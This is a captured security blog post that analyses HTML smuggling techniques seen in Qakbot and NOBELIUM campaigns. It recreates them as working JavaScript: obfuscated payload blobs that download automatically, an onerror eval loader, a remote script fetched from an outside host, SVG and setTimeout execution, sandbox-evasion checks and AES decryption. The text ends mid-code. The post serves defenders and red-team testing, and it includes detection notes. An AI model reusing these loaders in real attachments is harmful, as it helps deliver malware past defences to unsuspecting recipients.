blog.delivr.to Open in urlscan Pro
162.159.153.4  Public Scan

Submitted URL: https://blog.delivr.to/html-smuggling-recent-observations-of-threat-actor-techniques-74501d5c8a06?utm_source=The+InQues...
Effective URL: https://blog.delivr.to/html-smuggling-recent-observations-of-threat-actor-techniques-74501d5c8a06?gi=d02b86da2238&utm_c...
Submission: On April 28 via manual from IN — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

Open in app

Sign up

Sign In

Write


Sign up

Sign In


delivr.to
Follow

Jan 6

·
23 min read
·

Listen



Save








HTML SMUGGLING: RECENT OBSERVATIONS OF THREAT ACTOR TECHNIQUES



HTML smuggling isn’t a new technique by any means, but its utility and
flexibility make it a potent technique that still proves effective for threat
actors today.

For some actors, e.g. those delivering Qakbot, HTML smuggling is leveraged to
deliver malicious content (typically ISOs or ZIPs with the eventual payload
inside). Rich HTML content is often used to present the page as a fake Google
Drive or Adobe-branded site (among many others) with the JavaScript unpacking
and serving the payload. You can see an example of that on ANY.RUN below, and a
recreated payload on delivr.to here.


OVERDUE#8500.HTML (MD5: 01D7ECF62BE2C81BD134AF488478E00B) - INTERACTIVE ANALYSIS
- ANY.RUN


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



Others have been observed leveraging HTML smuggling to present fake login pages
for the usual suspects, like Microsoft 365. This can be advantageous to an
attacker, as the login page is programmatically generated, often displaying the
recipient’s email address to add some legitimacy, and served locally on the
target endpoint, rather than being hosted on the internet.

Update #1 (31/03/2023) — AES Encryption Example Added

Update #2 (17/04/2023) — Inline Download




NOTABLE HTML SMUGGLING TECHNIQUES

At delivr.to, we’re always on the lookout for interesting malware samples that
leverage noteworthy techniques for us to emulate in order to continuously test
defences. As such, we’ve aggregated some of these techniques in this blog that
we think would be of interest to defenders and offensive security practitioners
alike.

For this blog we’ll focus largely on techniques for the smuggling of an eventual
payload, though many techniques can be applied to the Credential Theft tactic as
well. These can loosely be split into two categories, though there’s some
overlap between them:

 * Payload obfuscation — How can we transform our smuggled payload, e.g. an ISO
   disk image, in the HTML file to evade static scanners?
 * Payload delivery — How can we initiate the unpacking/download of our payload?
   Potentially taking steps to ensure this happens at the right time, on target,
   rather than in a sandbox or under some other dynamic analysis.


PAYLOAD OBFUSCATION

For those well-versed in HTML smuggling and payload obfuscation techniques in
general, much of this will likely be old news to you. Though the prevalence and
in-the-wild usage of the techniques may still come as a surprise. We’ll talk
about the following techniques:

 * Base64
 * Reversed Base64
 * XOR
 * Hexadecimal


BASE64

Arguably, Base64 is the most straightforward means of embedding payload content
into an HTML file. We can see a great example of this from Outflank’s blog,
reproduced below:

...
function base64ToArrayBuffer(base64) {
  var binary_string = window.atob(base64);
  var len = binary_string.length;
  var bytes = new Uint8Array( len );
  for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
  return bytes.buffer;
}

var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'outflank.doc';

if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
  var a = document.createElement('a');
  document.body.appendChild(a);
  a.style = 'display: none';
  var url = window.URL.createObjectURL(blob);
  a.href = url;
  a.download = fileName;
  a.click();
  window.URL.revokeObjectURL(url);
}

> Outflank also provide a test file demonstrating this technique, here.

From a defensive standpoint, it is relatively trivial to identify common file
types that have been Base64 encoded, based on the first few encoded bytes (i.e.
the file header). A couple of examples include:

 * TV…. — Encoded ‘MZ’ header of an executable file.
 * UE… — Encoded ‘PK’ header of a Zip file (or new format Office doc).



> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here.


REVERSED BASE64

One simple way to (slightly) improve evasion is to reverse the Base64 encoded
payload string. This is something that’s been seen for Qakbot delivery quite
recently. You can see an example below:


EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5…


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



We can recreate this sample with the following adapted code snippet:

...
<div id='b' class='e' data="reversed_b64_payload"></div>
<script>
    document.body.onload = function (){
        var f = deobf(document.getElementById("b").getAttribute("data"));
        trigger(to_blob(f, 512));
    };

    function reverse_str(in_str) {
      var out_str = "";
      for (var i = in_str.length - 1; i >= 0; i--) {
        out_str += in_str[i];
      }
      return out_str;
    }
    
    function deobf(a)
    {
      return reverse_str(a);
    }

    function to_blob(b64_blob, chunk_size)
    {
        var payload = [];

        var blob_bytes = atob(b64_blob);

        for(var i = 0; i < blob_bytes.length; i += chunk_size)
        {
            var blob_chunk = blob_bytes.slice(i, i + chunk_size);
            var b_array = new Array(blob_chunk.length);

            for(var a = 0; a < blob_chunk.length; a++)
            {
                b_array[a] = blob_chunk.charCodeAt(a);
            }

            var uint_array = new Uint8Array(b_array);
            payload.push(uint_array);
        }

        var out = new Blob(payload, {type: "octet/stream"});
        return out;
    }

    function trigger(out)
    {
        let fd = new File([out], "attachment.iso", {type: "octet/stream"});
        let fd_url = URL["createObjectURL"](fd);
        var a = document.createElement("a");
        document.body.appendChild(a);

        a.setAttribute("href",fd_url);
        a.download = 'attachment.iso';
        a.click();
        URL.revokeObjectURL(fd_url);
    }
</script>

This code is pretty similar to the first example from Outflank, just with an
added function that reverses the encoded string prior to initiating the local
file download.

> Note here the use of <div> elements to move the high entropy payload content
> out of the <script> block.

While this does obscure our payload slightly, it’s still trivial to reliably
detect these strings when we know what to look for.

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here and a live demo which smuggles an ISO here.


HEXADECIMAL

An alternative way to represent our payload content, also observed in the wild,
is in a hexadecimal byte array, rather than the previous encoded strings we’ve
seen. Using the JavaScript fromCharCode function, we can convert the hexadecimal
characters in our array to the raw bytes of our original file, before passing on
to subsequent functions to trigger the download.

Here’s an example code snippet using hex encoding (where the trigger function
has been omitted, as it’s the same as the above sample):

...
<script>
  document.body.onload = function (){
      let f = ['0x50', '0x4b', '0x3', ...];
      trigger(to_blob(hex_to_bin(f), 512));
  }; 

  function hex_to_bin(in_buf) {
    out = "";
    str = String;
    for (let b of in_buf){
      out += str["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](b);
    }
    return out;
  }
                
 function to_blob(blob_bytes, chunk_size)
  {
    var payload = [];
    for(var i = 0; i < blob_bytes.length; i += chunk_size)
    {
        var blob_chunk = blob_bytes.slice(i, i + chunk_size);
        var b_array = new Array(blob_chunk.length);
        for(var a = 0; a < blob_chunk.length; a++)
        {
            b_array[a] = blob_chunk.charCodeAt(a);
        }
        var uint_array = new Uint8Array(b_array);
        payload.push(uint_array);
    }
    var out = new Blob(payload, {type: "octet/stream"});
    return out;
  }

 function trigger(out)
  {
    ...
  }
</script>

There’s a couple of things to note in this code snippet. Firstly, the to_blob
function is slightly different to the previous example, in that it doesn’t first
decode from Base64 with the atob function (that might be obvious, given we’re
not using that encoding here!).

Secondly, the obfuscation of the fromCharCode function (as used in the original
sample)- this is interesting as it shows a simple example of the possibilities
for obfuscating and calling JavaScript functions (rather than just obfuscating
variable names).

From an offensive standpoint, clearly we’ve removed the Base64-encoded string
content — which is an improvement! But this approach is still just another
representation of predictable file content (i.e. file headers!), as we can see
from the first couple of bytes in the array, 0x50 and 0x4b, which when converted
from hex produce the PK file header of a ZIP file!


Converting our initial hex array entries to binary with CyberChef

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here and a live demo which smuggles a zipped ISO here.


XOR

Improving on the encoding strategy, we can turn to encryption to protect our
payload and remove the telltale strings (or hex characters!) that indicate file
content. One such encryption method seen from threat actors is an XOR cipher. We
can see an example of this here (note the commonly-abused Google Drive
background!):


PO-12-5-2022.HTML (MD5: 7779D429E7E17385F55B48880F0989CF) - INTERACTIVE ANALYSIS
- ANY.RUN


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



Adapting from the malware sample above, we can achieve XOR encryption of our
Base64 encoded payload as below (where the to_blob and trigger functions are
identical to those of the ‘reversed base64' sample):

...
<div id='b' class='e' data="xor_payload"></div>
<div id='wjcwgcvg' class='kmoitfcv' data="encryption_key"></div>        

<script>
    document.body.onload = function (){
        var f = xor_func(document.getElementById("b").getAttribute("data"), document.getElementById('wjcwgcvg').getAttribute('data'));
        trigger(to_blob(f, 512));
    };

    function xor_func(crhvmojz,hkusixgc) {
      crhvmojz = atob(crhvmojz);
      var mohcsjnh = ''
      for(var i=0; i<crhvmojz.length; i++) {
        mohcsjnh += String.fromCharCode(crhvmojz.charCodeAt(i) ^ hkusixgc[i%hkusixgc.length].charCodeAt(0))
      }
      return mohcsjnh;
    }

    function to_blob(b64_blob, chunk_size)
    {
        ...
    }

    function trigger(out)
    {
        ...
    }
</script>

> Here we can see, once again, the payload content is in a separate <div>
> element, as well as the encryption key.

Notably, this XOR technique was also employed by NOBELIUM, as can be seen in the
code sample from one of their HTML initial access payloads:


NOBELIUM EnvyScout XOR technique (taken from Microsoft’s blog)

With this method we’ve now removed the detectable static string indicators of
Base64-encoded (and reversed), commonly abused file types, though there’s still
many suspect functions — like createObjectURL — in our smuggling boilerplate
functions (not to mention, high entropy) that we’ll look to address in the
second half of this blog!

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here and a live demo which smuggles a zipped ISO here.




PAYLOAD DELIVERY

Assuming a threat actor can evade a static scanner with the above payload
obfuscation, they’ll then need to focus on how to initiate the unpacking and
delivery of the payload, whilst taking steps to ensure it evades sandbox
analysis.

We’ll talk about the following techniques we’ve seen from recent samples:

 * Update #2 (17/04/2023) — Inline Download
 * ‘mousemove’ JavaScript Event Listener
 * User-Agent Check
 * Image OnError Code Evaluation (Local and Remote JS)
 * SVG Image Code Execution
 * SetTimeout Hex-String Map
 * Update #1 (31/03/2023) — AES Encryption with User-provided Password


INLINE DOWNLOAD

Recent (April ’23) Qakbot samples have leveraged button-triggered downloads of
smuggled script files (e.g. wsf scripts). An example of this can be seen below:


ANALYSIS STATUSUPDATE 331708 APR 4.XHTML (MD5: DFC1983C3E7A041BA251B2310B6D1524)
NO THREATS…


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



Rather than leverage some of the more convoluted payload obfuscation and
delivery mechanisms previously observed, this technique embeds the
Base64-encoded payload inline in an HTML anchor element (<a> tag) that can be
used in conjunction with a button, or similar. The technique is pretty concise
and can be demoed in the eight or so lines below:

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
  <body>
    <a href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank">
      <button type="submit">Download</button>
    </a>
  </body>
</html>

As discussed earlier in this blog, Base64 encoding of payloads in this way can
leave static strings that are tell-tale signs of file format headers, like Zips
and ISOs.

Following a recent exploration into OneNote payload delivery however, Qakbot’s
return to HTML smuggling appears to have coincided with a shift away from
heavyweight container formats like ISOs, to comparatively lightweight,
heavily-obfuscated script formats (i.e. text files with no predictable file
headers) as the first stage, subsequently pulling down further files to complete
infection.

Noticeably, the above Qakbot sample leverages the .xhtml (eXtended HTML document
format), which could be an effort to evade file extension based rules. While no
<script> blocks are present in the above code snippet, the extended HTML
document formats (.xht, .xhtm, .xhtml) can support them, so long as the
JavaScript content is wrapped in a CDATA section. An example of this can be seen
below, where we automate the download of our previously button-triggered inline
payload.

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
  <body>
    <a id="download" href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank">
    </a>
  </body>
  <script>
    <![CDATA[
      document.getElementById("download").click();
    ]]>
  </script>
</html>

> You can find a variety of Extended HTML format samples for testing via email
> and link delivery in delivr.to’s collection, including here and here.


‘MOUSEMOVE’ JAVASCRIPT EVENT LISTENER

In recent Qakbot samples, malware hunter @pr0xylife highlights the addition of a
‘mousemove’ JavaScript event listener.



Event listeners allow for code to be executed in response to actions taking
place on a web page, e.g. button clicks and mouse overs, among others.

In the sample below, the malware authors have leveraged the ‘mousemove’ event
listener to ensure that the file download only occurs when the user interacts
with the page, adding an evasive element that could improve deliverability if
sandboxes don’t simulate web page interaction!


EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5…


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



Adapted from the sample above, this code snippet demonstrates the simplicity in
adding a page-wide event listener for user interaction:

document.addEventListener("mousemove", function() { 
  trigger();
});

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here and a live demo which smuggles an ISO here.


USER-AGENT CHECK

As well as triggering upon user interaction, malware authors have also been
observed filtering by user agent.


PO-12-5-2022.HTML (MD5: 7779D429E7E17385F55B48880F0989CF) - INTERACTIVE ANALYSIS
- ANY.RUN


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



Our XOR encryption sample from above, demonstrates this technique with the below
code snippet:

if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(navigator.userAgent)) {return}

Here the target’s user agent is compared to a list of unwanted platforms, and if
it matches, the code block will return and not continue with the file download.


IMAGE ONERROR CODE EVALUATION

While the first section of the blog looked at ways in which threat actors are
hiding their payloads in HTML content, the common functions used to achieve this
(creation of Uint8Array, charCodeAt and createObjectURL functions, etc.) can
still serve as static signatures.

To address this, we’ll look at a clever solution employed by a sample to hide
the smuggling code, and remove <script> tags from the HTML file completely.

This payload will require a couple of stages to create. Our stage one code we’ll
keep simple and use the Base64-encoded payload download from earlier.

function to_blob(b64_blob, chunk_size)
{
  ...
}

function trigger(out)
{
  ...
}

var b64_blob = 'b64_payload';
var out = to_blob(b64_blob, 512);
trigger(out);

We then Base64 this JavaScript into a second code block:

var is_null = document;
const scr = is_null.createElement('sc'.concat('ript'));
while (true){
  var not_is = scr;
  not_is.innerHTML = atob('b64_stage_one')
  is_null.head.appendChild(not_is);
  break;
}

There is some light obfuscation here, but it’s reasonably clear that we’re
decoding our Base64 JavaScript blob, and adding it as a new script element to
the page.

To finally leverage the OnError technique, we’re Base64 encoding our script
block once more, then wrapping it in nested eval(atob()) functions in the
OnError attribute of an <img> tag.

<body>
  <img src="x" style="display:none" onerror="eval(atob('b64_stage_two'))">
</body>

When rendered, the image will fail to load by design (as our src attribute
points to a nonexistent resource), triggering the first code snippet which will
add a new script to the DOM, which will then initiate our file download.

An obvious advantage to this technique is the absence of <script> tags in the
HTML file, as all our inline JavaScript is unpacked upon page-load.

With this implementation, all JavaScript is contained within the delivered HTML
attachment, but this doesn’t have to be the case. We could switch out our second
stage code block for the following:

var is_null = document;
const scr = is_null.createElement('sc'.concat('ript'));
while (true){
  var not_is = scr;
  not_is.src = 'https://files.delivrto.me/smug.js'; //<- remote JS
  // or base64 encoded
  // not_is.src = atob('base64_remote_js_url_file');
  is_null.head.appendChild(not_is);
  break;
}

> Note that the innerHTML has been replaced with a src attribute. Now we’re
> specifying a remote JavaScript file to load, which ultimately contains our
> smuggling code.

While this does introduce external dependencies that would need to be
successfully pulled down to the endpoint to load, from a static analysis
perspective, this prevents our file having the tell-tale signs of HTML smuggling
with a mammoth Base64 string of our double-encoded ZIP file.

> You can find a sample of the local script loading variation of this technique
> for testing via email and link delivery in delivr.to’s collection here, and a
> live demo which smuggles a zipped ISO here. The remote variation can be found
> in delivr.to’s collection here and a demo here.


SVG IMAGE CODE EXECUTION

Another comparable technique, employed for QakBot delivery, is the use of an SVG
image for JavaScript code execution. We can see an example of this here
(complete with another fake Google Drive background):


EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5…


INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY
ENVIRONMENTS. NO INSTALLATION AND NO…

app.any.run



This requires a nested encoding of code blocks as before. Here’s our first block
which is the SVG image XML with a <script> element containing our boilerplate
code within it.

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="1" cy="1" r="1" fill="red" />
    <script type="text/javascript">
    <![CDATA[

      function to_blob(b64_blob, chunk_size)
      {
          ...
      }
  
      function trigger(out)
      {
          ...
      }

      var content = 'base64_payload';
      var blob = to_blob(content, 512);
      trigger(blob);
    ]]>
    </script>
</svg>

This can then be placed in the HTML file, for the sample above, this code
leveraged a reversed Base64 payload:

<body onload="init()">
<script>
  function rev(s)
  {
    return s.split("").reverse().join("");
  }

  function init()
  {
    var data = "data:image/svg+xml;base64,";
    var embed = document.createElement("embed");
    embed.setAttribute("width", 1);
    embed.setAttribute("height", 1);
    embed.setAttribute("src", data + rev("reversed_b64_payload"));
    document.body.appendChild(embed);
  }
</script>

Conceptually, this is very similar to the OnError technique, where JavaScript
content is being dynamically added to the page. Though this implementation does
use a <script> element in the HTML attachment to embed the SVG image on page
load.

An interesting detection artefact of this Qakbot delivery approach is the
double-encoded ZIP file header strings it produces. A great Yara rule from
Florian Roth identifies these file headers:


SIGNATURE-BASE/MAL_QBOT_PAYLOADS.YAR AT MASTER · NEO23X0/SIGNATURE-BASE


YOU CAN'T PERFORM THAT ACTION AT THIS TIME. YOU SIGNED IN WITH ANOTHER TAB OR
WINDOW. YOU SIGNED OUT IN ANOTHER TAB OR…

github.com



An implementation of Florian’s rule as an MQL rule for Sublime can also be seen
here:


SUBLIME-RULES/ATTACHMENT_HTML_SMUGGLING_DOUBLE_ENCODED_ZIP.YML AT MAIN ·…


SUBLIME RULES FOR PHISHING DETECTION, PREVENTION, AND THREAT HUNTING. …

github.com

Further, the use of the OnError technique and this SVG image embedding technique
both result in the smuggled zip having a UUID filename (rather than the one
specified in the original trigger() function). This could present a detection
opportunity (coupled with a local HTML file being opened). Notably, for this
technique, we could ensure our custom file name is used by embedding the SVG
directly into the HTML, rather than adding it dynamically on page-load, though
this has its own drawbacks in terms of static analysis.

> You can find a full recreation of the Qakbot sample above for testing via
> email and link delivery in delivr.to’s collection here and a demo video of the
> sample below:




SETTIMEOUT HEX-STRING MAP

Our final smuggling technique, taken from this sample once more, shares
similarities with the OnError image load and SVG image techniques already
mentioned.

<html>
  <script> 
    let arrayBuffer = ['0x50', '0x43', '0x46', ...];
    let signed_chars =  [0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x14d,0x150,0x12f,0x14a,0x78,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x165,0x156,0x13b,0x15c,0x12f,0x78,0x123,0x15c,0x14d,0x126,0x78,0x15f,0x14a,0x159,0x13b,0x135,0x14a,0x12f,0x12c,0x11d,0x129,0x138,0x123,0x156,0x159,0x7b,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x129,0x144,0x14d,0x159,0x12f,0x78,0x7b,0xb1,];
    var unsigned_long = String;
    unsigned_chars = "";
    for(let buffer of arrayBuffer){
      unsigned_chars += unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](buffer);
    }
    setTimeout([...signed_chars].map((single_byte) => unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](single_byte/3))["join"](""));
  </script>
</html>

Seen above, this technique leverages the setTimeout JavaScript function to
evaluate and execute inline code upon page load. The sample consists of two hex
arrays. The first, signed_chars, is a wrapper for our eventual HTML smuggling
code and, when transformed, produces the following string:

document.open();document.write(atob(unsigned_chars));document.close();

Much like the dynamic creation of new <script> elements we’ve seen previously,
this goes one step further and uses the document.write() function to rewrite the
entire page with the contents of our second hex array, arrayBuffer; once it’s
been decoded to a Base64 string called unsigned_chars. You might recognise the
familiar, reversed JavaScript function in the string ‘edoCrahCmorf’!

Notably, the signed_chars array has each character multiplied by three before
being embedded in the HTML file (note the ‘(single_byte/3)’ transform when
unpacking the array), evading any static signatures for combinations of hex
characters representing JavaScript functions. The original sample also applies
this technique to the arrayBuffer array for the same reason, though we’ve
simplified things slightly here.

Our pre-encoded HTML block might look something like this, where we’re including
the outermost <html> tags and page content, as well as the smuggling boilerplate
we’ve been using all along.

<!DOCTYPE html>
<html lang="en-us">
    <head>
        <title>Hex Array Map SetTimeout</title>
    </head>
    <body>
      <section class="a">
          <header>
              <h1>delivr.to</h1>
              <h3>HTML Smuggling with Hex encoding, Map and SetTimeout</h3>
              <p>Download will start automatically!</p>
          </header>
      </section>
      <script>
        function to_blob(b64_blob, chunk_size)
        {
            ...
        }

        function trigger(out)
        {
            ...
        }

        var f = "{{PAYLOAD}}";
        trigger(to_blob(f, 512));
      </script>
    </body>
  </html>

This implementation has the added benefit of concealing the entire page content
ultimately being rendered and shown to the target user. So any common hallmarks
of phishing attachments, like brand images or fake login portals are concealed.

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here and a live demo which smuggles a zipped ISO here.


UPDATE #1 (31/03/2023) - AES ENCRYPTION WITH USER-PROVIDED PASSWORD

Taking our combination of payload obfuscation and delivery methods even further,
we could make use of encryption that relies on user-provided material to decrypt
it. This might take the form of a fake file-sharing web page that requests a
password, with credentials being sent separately.

This technique has the benefit of requiring user interaction to trigger the
download, which may evade automated analysis, while also more comprehensively
protecting our payload against static analysis, ensuring we don’t fall foul of
the predictable encoded strings we saw previously.

In the example below, we’re implementing AES CTR block cipher decryption, as
well as the supporting UTF-8 and Base64 encoding methods (replacing the commonly
abused atob() function!).

In this initial example, we’re implementing a hard-coded password (the word
‘password’!) that will decrypt the cipher text and provide us with the
Base64-encoded payload (in the decryptedData variable). This could then be
combined with something like our Base64 HTML smuggling example from Outflank to
initiate the download.

<script>
var Aes = {};
Aes.cipher = function (input, w) {
  var Nb = 4;
  var Nr = w.length / Nb - 1;
  var state = [[],[],[],[]];
  for (var i = 0; i < 4 * Nb; i++)
    state[i % 4][Math.floor(i / 4)] = input[i];
  state = Aes.addRoundKey(state, w, 0, Nb);
  for (var round = 1; round < Nr; round++) {
    state = Aes.subBytes(state, Nb);
    state = Aes.shiftRows(state, Nb);
    state = Aes.mixColumns(state, Nb);
    state = Aes.addRoundKey(state, w, round, Nb);
  }
  state = Aes.subBytes(state, Nb);
  state = Aes.shiftRows(state, Nb);
  state = Aes.addRoundKey(state, w, Nr, Nb);
  var output = new Array(4 * Nb);
  for (var i = 0; i < 4 * Nb; i++)
    output[i] = state[i % 4][Math.floor(i / 4)];
  return output;
};
Aes.keyExpansion = function (key) {
  var Nb = 4;
  var Nk = key.length / 4;
  var Nr = Nk + 6;
  var w = new Array(Nb * (Nr + 1));
  var temp = new Array(4);
  for (var i = 0; i < Nk; i++) {
    var r = [ key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3] ];
    w[i] = r;
  }
  for (var i = Nk; i < Nb * (Nr + 1); i++) {
    w[i] = new Array(4);
    for (var t = 0; t < 4; t++)
      temp[t] = w[i - 1][t];
    if (i % Nk == 0) {
      temp = Aes.subWord(Aes.rotWord(temp));
      for (var t = 0; t < 4; t++)
        temp[t] ^= Aes.rCon[i / Nk][t];
    } else if (Nk > 6 && i % Nk == 4) {
      temp = Aes.subWord(temp);
    }
    for (var t = 0; t < 4; t++)
      w[i][t] = w[i - Nk][t] ^ temp[t];
  }
  return w;
};
Aes.subBytes = function (s, Nb) {
  for (var r = 0; r < 4; r++) {
    for (var c = 0; c < Nb; c++)
      s[r][c] = Aes.sBox[s[r][c]];
  }
  return s;
};
Aes.shiftRows = function (s, Nb) {
  var t = new Array(4);
  for (var r = 1; r < 4; r++) {
    for (var c = 0; c < 4; c++)
      t[c] = s[r][(c + r) % Nb];
    for (var c = 0; c < 4; c++)
      s[r][c] = t[c];
  }
  return s;
};
Aes.mixColumns = function (s, Nb) {
  for (var c = 0; c < 4; c++) {
    var a = new Array(4);
    var b = new Array(4);
    for (var i = 0; i < 4; i++) {
      a[i] = s[i][c];
      b[i] = s[i][c] & 128 ? s[i][c] << 1 ^ 283 : s[i][c] << 1;
    }
    s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3];
    s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3];
    s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3];
    s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3];
  }
  return s;
};
Aes.addRoundKey = function (state, w, rnd, Nb) {
  for (var r = 0; r < 4; r++) {
    for (var c = 0; c < Nb; c++)
      state[r][c] ^= w[rnd * 4 + c][r];
  }
  return state;
};
Aes.subWord = function (w) {
  for (var i = 0; i < 4; i++)
    w[i] = Aes.sBox[w[i]];
  return w;
};
Aes.rotWord = function (w) {
  var tmp = w[0];
  for (var i = 0; i < 3; i++)
    w[i] = w[i + 1];
  w[3] = tmp;
  return w;
};
Aes.sBox=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16];
Aes.rCon=[[0x00,0x00,0x00,0x00],[0x01,0x00,0x00,0x00],[0x02,0x00,0x00,0x00],[0x04,0x00,0x00,0x00],[0x08,0x00,0x00,0x00],[0x10,0x00,0x00,0x00],[0x20,0x00,0x00,0x00],[0x40,0x00,0x00,0x00],[0x80,0x00,0x00,0x00],[0x1b,0x00,0x00,0x00],[0x36,0x00,0x00,0x00]];
Aes.Ctr = {};
Aes.Ctr.decrypt = function (ciphertext, password, nBits) {
  var blockSize = 16;
  if (!(nBits == 128 || nBits == 192 || nBits == 256))
    return '';
  ciphertext = Base64.decode(ciphertext);
  password = Utf8.encode(password);
  var nBytes = nBits / 8;
  var pwBytes = new Array(nBytes);
  for (var i = 0; i < nBytes; i++) {
    pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
  }
  var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
  key = key.concat(key.slice(0, nBytes - 16));
  var counterBlock = new Array(8);
  ctrTxt = ciphertext.slice(0, 8);
  for (var i = 0; i < 8; i++)
    counterBlock[i] = ctrTxt.charCodeAt(i);
  var keySchedule = Aes.keyExpansion(key);
  var nBlocks = Math.ceil((ciphertext.length - 8) / blockSize);
  var ct = new Array(nBlocks);
  for (var b = 0; b < nBlocks; b++)
    ct[b] = ciphertext.slice(8 + b * blockSize, 8 + b * blockSize + blockSize);
  ciphertext = ct;
  var plaintxt = new Array(ciphertext.length);
  for (var b = 0; b < nBlocks; b++) {
    for (var c = 0; c < 4; c++)
      counterBlock[15 - c] = b >>> c * 8 & 255;
    for (var c = 0; c < 4; c++)
      counterBlock[15 - c - 4] = (b + 1) / 4294967296 - 1 >>> c * 8 & 255;
    var cipherCntr = Aes.cipher(counterBlock, keySchedule);
    var plaintxtByte = new Array(ciphertext[b].length);
